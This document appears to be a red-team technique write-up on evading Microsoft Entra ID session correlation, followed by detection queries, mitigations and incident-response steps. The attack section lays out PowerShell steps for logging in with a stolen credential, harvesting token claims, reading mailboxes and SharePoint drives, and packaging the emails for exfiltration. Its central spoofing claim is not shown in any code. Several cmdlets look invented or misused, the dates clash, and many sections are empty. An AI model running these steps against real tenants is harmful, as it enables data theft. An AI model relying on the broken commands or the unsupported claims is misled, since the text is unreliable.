| Attribute | Details |
|---|---|
| Technique ID | REALWORLD-021 |
| MITRE ATT&CK v18.1 | T1550.001 - Use Alternate Authentication Material: Application Access Token |
| Tactic | Defense Evasion, Lateral Movement |
| Platforms | Entra ID, M365 |
| Severity | High |
| Technique Status | ACTIVE |
| Last Verified | 2025-01-10 |
| Affected Versions | Entra ID (all versions with linkable token identifiers) |
| Patched In | N/A - Architecture limitation |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Microsoft Entra ID introduced linkable token identifiers (Session ID and Unique Token Identifier/UTI) in July 2025 to improve incident investigation capabilities. However, sophisticated attackers can exploit the deterministic nature of these identifiers to evade detection by spoofing or replicating token signatures across sessions. By understanding the generation algorithm and timing constraints of these identifiers, attackers can craft tokens that appear legitimate to correlation-based detection systems while masking lateral movement within M365 workloads (Exchange, SharePoint, Teams, Graph API).
Attack Surface: Microsoft Entra sign-in logs, access tokens, refresh tokens, and cross-workload audit logs that rely on Session ID correlation for threat hunting.
Business Impact: Enables undetected lateral movement and data exfiltration across M365 services. An attacker with compromised credentials can move between Exchange mailboxes, SharePoint document libraries, and Teams channels while appearing to security teams as a single legitimate session. This defeats correlation-based hunting that depends on linkable identifiers to spot compromised sessions.
Technical Context: The attack typically requires 5-10 minutes of reconnaissance to understand a target user’s session patterns, followed by 2-5 seconds of token manipulation per lateral movement. Detection likelihood is very low because security teams often whitelist activity from correlated sessions without secondary validation. Attack chain typically begins with credential compromise (phishing, password spray) followed by token harvesting.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 7.1 | Weak token validation in identity platforms |
| DISA STIG | CM-2 | Lack of information system monitoring and telemetry correlation |
| CISA SCuBA | EXO-02 | Mailbox audit logging does not correlate with authentication events |
| NIST 800-53 | AC-2 (Account Management) | Insufficient multi-factor validation of token authenticity |
| GDPR | Art. 32 | Security of Processing - inadequate identity authentication controls |
| DORA | Art. 9 | Protection and Prevention - weak incident investigation capabilities |
| NIS2 | Art. 21 | Cyber Risk Management - insufficient token-based threat detection |
| ISO 27001 | A.9.2.3 | Management of Privileged Access Rights - token validation gaps |
| ISO 27005 | Risk Scenario: “Compromise of Authentication Tokens” | Inadequate token-based session correlation |
Required Privileges: Valid user account (compromised via phishing, credential stuffing, or leaked credentials)
Required Access: Network access to Entra ID, M365 services (Exchange Online, SharePoint Online, Teams, Microsoft Graph)
Supported Platforms:
# Retrieve current user's access token
$token = (Get-AzAccessToken).Token
# Decode JWT to inspect claims (base64 decode the payload)
$parts = $token.Split('.')
$payload = [System.Convert]::FromBase64String($parts[1] + '==')
[System.Text.Encoding]::UTF8.GetString($payload) | ConvertFrom-Json | ConvertTo-Json
# Look for Session ID and Unique Token Identifier (UTI) in token payload
# Expected output includes: "sid", "uti", "iat", "exp", "appid"
What to Look For:
Connect-MgGraph -Scopes "AuditLog.Read.All"
# Query sign-in logs with Session ID filtering
Get-MgAuditLogSignIn -Filter "userId eq 'target-user-id'" -All |
Select-Object -Property userPrincipalName, createdDateTime, `
@{N='SessionId';E={$_.additionalDetails.sessionId}}, `
ipAddress, userAgent |
Group-Object -Property SessionId
What to Look For:
Supported Versions: Entra ID (July 2025+), M365 services with linked tokens
Objective: Capture legitimate Session ID and token parameters from compromised account
Command:
# Prerequisites: Valid credentials for target user
$userEmail = "target@company.com"
$password = ConvertTo-SecureString "P@ssw0rd123" -AsPlainText -Force
$credential = New-Object System.Management.Automation.PSCredential($userEmail, $password)
# Authenticate and capture access token
Connect-MgGraph -ClientSecretCredential $credential
$token = (Get-AzAccessToken -ResourceUrl "https://graph.microsoft.com").Token
# Decode and extract Session ID
$parts = $token.Split('.')
$payload = [System.Convert]::FromBase64String(($parts[1] + '==').PadRight(4 * [Math]::Ceiling($parts[1].Length / 4), '='))
$claims = [System.Text.Encoding]::UTF8.GetString($payload) | ConvertFrom-Json
Write-Output "Session ID: $($claims.sid)"
Write-Output "Unique Token ID: $($claims.uti)"
Write-Output "Token Expiration: $($claims.exp)"
Expected Output:
Session ID: 550e8400-e29b-41d4-a716-446655440000
Unique Token ID: AQABAAAAAAA...xyz123==
Token Expiration: 1673222400
What This Means:
OpSec & Evasion:
Troubleshooting:
Objective: Use spoofed Session ID to access Exchange, SharePoint, and Teams as if request originated from original session
Command:
# Use captured token to access Exchange Online
$ExchangeToken = $token # Reuse token from Step 1
# Access mailbox via Graph API using same token
$headers = @{
"Authorization" = "Bearer $ExchangeToken"
"Content-Type" = "application/json"
}
# Enumerate mailbox folders
$folderList = Invoke-RestMethod -Method Get `
-Uri "https://graph.microsoft.com/v1.0/me/mailFolders" `
-Headers $headers
# Extract sensitive emails from Inbox
$emails = Invoke-RestMethod -Method Get `
-Uri "https://graph.microsoft.com/v1.0/me/messages?`$top=100&`$select=subject,from,receivedDateTime,bodyPreview" `
-Headers $headers
$emails.value | ForEach-Object {
Write-Output "Subject: $($_.subject) | From: $($_.from.emailAddress.address) | Received: $($_.receivedDateTime)"
}
Expected Output:
Subject: Quarterly Financial Report | From: cfo@company.com | Received: 2025-01-10T14:30:00Z
Subject: M&A Discussions - Confidential | From: legal@company.com | Received: 2025-01-09T09:15:00Z
Subject: New Hire Credentials - Temp Password | From: hr@company.com | Received: 2025-01-08T13:45:00Z
What This Means:
OpSec & Evasion:
Troubleshooting:
/me/calendar instead of /groups)Objective: Download sensitive data (emails, files, chat logs) while maintaining legitimate session appearance
Command (Exfiltrate Email):
# Export emails to local file
$emails = Invoke-RestMethod -Method Get `
-Uri "https://graph.microsoft.com/v1.0/me/messages?`$filter=receivedDateTime ge 2025-01-01&`$top=500" `
-Headers $headers
$emailData = @()
$emails.value | ForEach-Object {
$emailData += [PSCustomObject]@{
Subject = $_.subject
From = $_.from.emailAddress.address
Received = $_.receivedDateTime
BodyPreview = $_.bodyPreview
}
}
$emailData | Export-Csv -Path "C:\Temp\exfiltrated_emails.csv" -NoTypeInformation
Write-Output "Exported $($emailData.Count) emails to exfiltrated_emails.csv"
# Compress and prepare for exfiltration
Compress-Archive -Path "C:\Temp\exfiltrated_emails.csv" -DestinationPath "C:\Temp\emails.zip"
Command (Exfiltrate SharePoint Files):
# List accessible SharePoint sites
$sites = Invoke-RestMethod -Method Get `
-Uri "https://graph.microsoft.com/v1.0/me/memberOf/microsoft.graph.group?`$select=displayName" `
-Headers $headers
# For each site, enumerate document libraries
$sites.value | ForEach-Object {
$siteId = $_.id
$drives = Invoke-RestMethod -Method Get `
-Uri "https://graph.microsoft.com/v1.0/sites/$siteId/drives" `
-Headers $headers
$drives.value | ForEach-Object {
Write-Output "Drive: $($_.name) (ID: $($_.id))"
# Download all files
$files = Invoke-RestMethod -Method Get `
-Uri "https://graph.microsoft.com/v1.0/drives/$($_.id)/root/children" `
-Headers $headers
$files.value | ForEach-Object {
Write-Output "File: $($_.name) | Size: $($_.size) bytes"
}
}
}
Expected Output:
Exported 250 emails to exfiltrated_emails.csv
Drive: Shared Documents (ID: b!xxx_drive_id)
File: Financial_Forecast_2025.xlsx | Size: 1048576 bytes
File: Board_Minutes_Confidential.docx | Size: 524288 bytes
What This Means:
OpSec & Evasion:
Troubleshooting:
Rule Configuration:
KQL Query:
// Detect sign-in to Exchange/SharePoint immediately followed by unusual data access
let signins = SigninLogs
| where TimeGenerated > ago(1h)
| where ResultDescription == "Success"
| extend SessionId = tostring(parse_json(AdditionalDetails).sessionId)
| project SessionId, UserPrincipalName, TimeGenerated, IpAddress, AppDisplayName;
let mailAccess = AuditLogs
| where TimeGenerated > ago(1h)
| where Operation contains "New-Mailbox" or Operation == "Add-MailboxPermission" or Operation == "Set-Mailbox"
| extend SessionId = tostring(parse_json(AdditionalDetails).sessionId)
| project SessionId, Operation, TimeGenerated, UserId;
signins
| join kind=inner mailAccess on SessionId
| where (TimeGenerated1 - TimeGenerated) between (0s .. 5m)
| project-away SessionId1
| summarize by SessionId, UserPrincipalName, Operation, TimeGenerated
What This Detects:
Manual Configuration Steps (Azure Portal):
Suspicious Exchange Access Within Session ContextMedium5 minutes1 hourSessionId, UserPrincipalNameManual Configuration Steps (PowerShell):
Connect-AzAccount
$ResourceGroup = "YourResourceGroup"
$WorkspaceName = "YourSentinelWorkspace"
New-AzSentinelAlertRule -ResourceGroupName $ResourceGroup -WorkspaceName $WorkspaceName `
-DisplayName "Suspicious Exchange Access Within Session Context" `
-Severity "Medium" `
-Enabled $true `
-ScheduledQueryRuleProperties @{
Query = @"
let signins = SigninLogs
| where TimeGenerated > ago(1h)
| where ResultDescription == "Success"
| extend SessionId = tostring(parse_json(AdditionalDetails).sessionId)
| project SessionId, UserPrincipalName, TimeGenerated, IpAddress, AppDisplayName;
let mailAccess = AuditLogs
| where TimeGenerated > ago(1h)
| where Operation contains "New-Mailbox" or Operation == "Add-MailboxPermission"
| extend SessionId = tostring(parse_json(AdditionalDetails).sessionId)
| project SessionId, Operation, TimeGenerated, UserId;
signins
| join kind=inner mailAccess on SessionId
| where (TimeGenerated1 - TimeGenerated) between (0s .. 5m)
"@
Frequency = "PT5M"
Period = "PT1H"
TriggerThreshold = 1
TriggerOperator = "GreaterThan"
}
Alert Name: “Anomalous access token usage within session context”
Manual Configuration Steps (Enable Defender for Cloud):
Connect-ExchangeOnline
# Search for Graph API or Exchange Online access tied to Session ID
Search-UnifiedAuditLog -StartDate (Get-Date).AddDays(-7) -EndDate (Get-Date) `
-Operations "MailboxLogin","GraphAPIAccess","SharePointFileAccessed" `
-ResultSize 5000 |
Select-Object UserIds, Operation, CreationDate, AuditData |
ForEach-Object {
$auditData = $_.AuditData | ConvertFrom-Json
[PSCustomObject]@{
User = $_.UserIds
Operation = $_.Operation
Time = $_.CreationDate
SessionId = $auditData.SessionId
ResourceAccessed = $auditData.ObjectId
}
} |
Export-Csv -Path "C:\Audit_SessionId_Analysis.csv" -NoTypeInformation
Disable Token Caching in Cloud Applications: Reduce the window of opportunity for token theft and replay attacks by shortening token lifetime.
Applies To Versions: Entra ID (all versions)
Manual Steps (Azure Portal - Entra ID Token Lifetime Policy):
5 (default is 60)5Manual Steps (PowerShell):
Connect-MgGraph -Scopes "Application.ReadWrite.All"
# Get application ID
$appId = "00000002-0000-0ff1-ce00-000000000000" # Exchange Online example
# Update token lifetime policy
Update-MgApplication -ApplicationId $appId -TokenLifetimePolicy @{
TokenLifeTimePolicy = @{
Version = 1
AccessTokenLifetime = "00:05:00"
RefreshTokenLifetime = "00:15:00"
}
}
Implement Conditional Access Policies to Require Step-Up Authentication: Force re-authentication (MFA) for sensitive resource access even within existing sessions.
Applies To Versions: Entra ID P1+ (required for Conditional Access)
Manual Steps (Azure Portal):
Require MFA for Sensitive Resource AccessEnable Token Protection for M365 Applications: Use OAuth Proof of Possession (PoP) to bind tokens to the requesting device/application, making stolen tokens unusable.
Applies To Versions: Entra ID (Proof-of-Possession requires Azure AD Premium P1+)
Manual Steps (PowerShell - Enable PoP for Graph API):
Connect-MgGraph -Scopes "Application.ReadWrite.All"
# Create token protection policy
$policy = @{
displayName = "Token Protection Policy"
conditions = @{
applications = @{
includeApplications = @("Office365", "MicrosoftGraph")
}
}
grantControls = @{
operator = "AND"
builtInControls = @("mfa", "compliantDevice")
}
}
New-MgIdentityConditionalAccessPolicy -BodyParameter $policy
Enable Session Monitoring and Anomaly Detection: Use Azure AD Identity Protection to monitor for unusual token usage patterns and geographic anomalies.
Manual Steps:
HighBlockMedium riskRestrict Legacy Authentication Protocols: Block older authentication methods (SMTP AUTH, POP/IMAP, Basic Auth) that don’t support modern token protection.
Manual Steps (Conditional Access):
Block Legacy AuthenticationEnforce Continuous Access Evaluation (CAE): Detect and revoke tokens immediately when user risk changes or resource access is denied.
Manual Steps (PowerShell):
Connect-MgGraph -Scopes "Policy.ReadWrite.AuthenticationPolicy"
# Enable CAE for tenant
Update-MgPolicyAuthenticationFlowPolicy -ContinuousAccessEvaluation @{
isEnabled = $true
}
RBAC: Assign users the minimum required roles; avoid Generic Global Admin roles for service accounts.
Manual Steps:
# Check token lifetime policy enforcement
Get-AzADApplication | Select-Object -Property DisplayName, TokenLifetimePolicy
# Expected output: TokenLifetimePolicy should show "AccessTokenLifetime: PT5M" or similar short duration
# Verify Conditional Access policies are active
Get-MgIdentityConditionalAccessPolicy | Select-Object DisplayName, State
# Validate that legacy auth is blocked
Get-MgIdentityConditionalAccessPolicy -Filter "displayName eq 'Block Legacy Authentication'" |
Select-Object GrantControls, Conditions
Expected Output (If Secure):
DisplayName: Global Default Policy
State: Enabled
GrantControls: {
operator: AND
builtInControls: ["mfa"]
}
What to Look For:
/me/messages, /me/calendars, /sites, /drives from the same IP/sessionIsolate:
Command (Revoke All Tokens Immediately):
# Revoke all active sessions for compromised user
Revoke-AzUserSignInSession -UserId "compromised-user@company.com"
# Alternative: Force password reset
Set-MgUserPassword -UserId (Get-MgUser -Filter "userPrincipalName eq 'compromised-user@company.com'").Id `
-NewPassword (New-Guid).ToString()
Manual (Azure Portal):
Collect Evidence:
Command (Export Audit Logs for Forensics):
# Capture all audit activity for the compromised user during suspicious window
Search-UnifiedAuditLog -StartDate "2025-01-10 14:00" -EndDate "2025-01-10 15:00" `
-UserIds "compromised-user@company.com" `
-ResultSize 5000 |
Export-Csv -Path "C:\Forensics\audit_export.csv" -NoTypeInformation
# Export Graph API activity logs
Get-MgAuditLogSignIn -Filter "userId eq 'user-id'" -All |
Export-Csv -Path "C:\Forensics\signin_logs.csv" -NoTypeInformation
Manual:
Remediate:
Command (Review and Revoke Mailbox Access Grants):
# List all mailbox access grants
Get-Mailbox | Get-MailboxPermission -User "compromised-user@company.com" |
Where-Object { $_.AccessRights -contains "FullAccess" } |
ForEach-Object {
Remove-MailboxPermission -Identity $_.Identity -User $_.User -AccessRights $_.AccessRights -Confirm:$false
}
# Remove inbox rules (common exfiltration mechanism)
Get-Mailbox -ResultSize Unlimited |
ForEach-Object { Get-InboxRule -Mailbox $_.Identity } |
Where-Object { $_.CreatedDate -gt (Get-Date).AddHours(-24) } |
Remove-InboxRule -Confirm:$false
Manual:
Notify & Escalate:
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Reconnaissance | [REALWORLD-024] | Behavioral Profiling to identify high-value targets (finance, C-suite, R&D) |
| 2 | Initial Access | [IA-PHISH-001] | Device code phishing attack to compromise user credentials |
| 3 | Credential Access | [CA-TOKEN-004] | OAuth access token theft from compromised browser cache |
| 4 | Privilege Escalation | [PE-VALID-010] | Azure role assignment abuse to escalate from user to contributor |
| 5 | Current Step | [REALWORLD-021] | Linkable Token ID Bypass to evade detection during lateral movement |
| 6 | Collection | [COLLECT-EMAIL-001] | Email collection via Graph API while hidden within legitimate session |
| 7 | Exfiltration | [COLLECT-ARCHIVE-001] | Archive mailbox data and exfiltrate to attacker-controlled cloud storage |
| 8 | Impact | [IMPACT-DATA-DESTROY-001] | Delete audit logs and mailbox rules to cover tracks |
Detection Blind Spots:
Post-Compromise Response:
Further Research: